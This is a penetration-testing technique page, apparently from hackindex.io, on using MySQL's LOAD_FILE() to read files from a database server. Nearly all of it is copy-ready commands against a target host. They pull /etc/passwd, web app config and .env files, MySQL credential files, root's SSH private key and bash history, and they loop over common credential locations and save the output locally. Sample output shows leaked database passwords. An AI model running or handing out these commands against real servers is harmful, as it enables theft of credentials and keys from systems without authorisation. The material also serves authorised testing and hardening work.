# MySQL File Read with LOAD_FILE

- **URL:** https://hackindex.io/services/mysql/exploitation/mysql-file-read-with-load-file
- **Path:** MySQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mysql/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

The MySQL `LOAD_FILE()` function reads a file from the server filesystem and returns its contents as a string. With FILE privilege and no `secure_file_priv` restriction, this reads any file the MySQL process user can access. On a typical Linux deployment the MySQL process runs as the `mysql` OS user which can read world-readable files including most configuration files, application source, and credential stores. This technique requires no shell access and works entirely through SQL queries.

Confirm FILE privilege is present and `secure_file_priv` is empty before proceeding. See the FILE privilege detection page.

## Read Standard System Files

Start with files that are always readable and confirm the technique works:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/passwd');"
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/hostname'); SELECT LOAD_FILE('/etc/hosts'); SELECT LOAD_FILE('/proc/version');"
```

## Read Application Configuration Files

Application config files typically contain database credentials, API keys, and internal service addresses. Target common locations based on what the web server is running:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/var/www/html/wp-config.php');"
# <?php
# define('DB_NAME', 'wordpress');
# define('DB_USER', 'wpuser');
# define('DB_PASSWORD', 'SuperSecret123!');
# define('DB_HOST', 'localhost');
```

```bash
for path in '/var/www/html/config.php' '/var/www/html/.env' '/var/www/html/app/config/database.php' '/var/www/html/configuration.php' '/etc/phpmyadmin/config.inc.php'; do echo "--- $path ---"; mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -e "SELECT LOAD_FILE('$path');"; done
```

## Read MySQL Configuration and Credential Files

The MySQL configuration file and credential files on the host may contain additional credentials or replication passwords:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf'); SELECT LOAD_FILE('/root/.my.cnf'); SELECT LOAD_FILE('/home/mysql/.my.cnf');"
```

## Read SSH Keys and Sensitive Home Directory Files

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/root/.ssh/id_rsa'); SELECT LOAD_FILE('/root/.ssh/authorized_keys'); SELECT LOAD_FILE('/root/.bash_history');"
```

## Save Output to a Local File

For large files or automated collection, redirect output directly to a local file:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/etc/passwd');" > /tmp/target-passwd.txt
```

`-s` suppresses the column header and `-N` omits the field names, giving clean file content output suitable for saving directly.

## Troubleshoot NULL Returns

If LOAD_FILE returns NULL despite FILE privilege being confirmed, check the following:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW VARIABLES LIKE 'secure_file_priv'; SHOW VARIABLES LIKE 'max_allowed_packet';"
```

Common reasons for NULL returns from LOAD_FILE:

- `secure_file_priv` is set to a non-empty path, restricting reads to that directory only
- `max_allowed_packet` is too low, silently truncating or blocking large file reads
- The file does not exist or is not readable by the MySQL process user
- The file exceeds the packet size limit for the current session

If the path is restricted, target files within the allowed path: often `/var/lib/mysql-files/` on modern installations. If max_allowed_packet is the issue, increase it for the current connection: `SET @@SESSION.max_allowed_packet=1073741824;` (SET GLOBAL only applies to new connections, not the one that ran it).

## References

- [MySQL: LOAD_FILE function reference](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_load-file) - LOAD_FILE behavior, NULL conditions, and privilege requirements
- [MySQL: secure_file_priv variable](https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_secure_file_priv) - Path restriction behavior affecting LOAD_FILE and INTO OUTFILE
